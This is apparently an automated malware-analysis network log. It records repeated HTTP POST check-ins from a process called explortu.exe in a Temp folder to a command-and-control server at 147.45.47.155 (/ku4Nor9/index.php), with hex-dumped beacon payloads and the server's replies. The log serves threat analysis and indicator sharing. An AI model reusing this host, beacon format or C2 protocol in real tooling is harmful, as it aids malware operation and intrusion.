Jun 27, 2024 07:37:40.949394941 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:41.156809092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49727	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:41.267263889 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:41.978965998 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:41.979938030 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:42.187266111 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49728	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:42.296822071 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:42.987096071 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:42.987865925 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:43.201020002 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49729	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:43.313571930 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:43.999306917 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:44.000181913 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:44.210140944 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49730	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:44.327811003 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:45.004712105 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:45.005491018 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:45.214198112 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49731	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:45.327922106 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:46.006392002 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:46.007312059 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:46.215732098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49732	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:46.327785969 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:46.995099068 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:46.996195078 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:47.204205990 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49733	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:47.312902927 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:47.982182026 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:47.983052969 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:48.189522028 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49734	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:48.297173977 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:48.981024027 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:48.982377052 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:49.189423084 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49735	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:49.300523043 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:49.987376928 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:49.988336086 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:50.196847916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49736	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:50.313410044 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:51.002171993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:51.003237009 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:51.211438894 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49737	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:51.331963062 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:52.003142118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:52.004184961 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:52.211426973 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49738	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 07:37:52.332401991 CEST	154	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 07:37:53.018997908 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 07:37:53.019860029 CEST	308	OUT	POST /ku4Nor9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 147.45.47.155 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 41 38 30 42 34 45 46 41 38 45 34 43 45 32 39 43 35 31 35 31 43 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 32 32 39 37 39 42 33 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58A80B4EFA8E4CE29C5151CB140BE1D46450FC9DDF642E3BDD70A7FB22979B35182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 07:37:53.229805946 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 05:37:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49739	147.45.47.155	80	5004	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Timestamp	Bytes transferred	Direction	Data
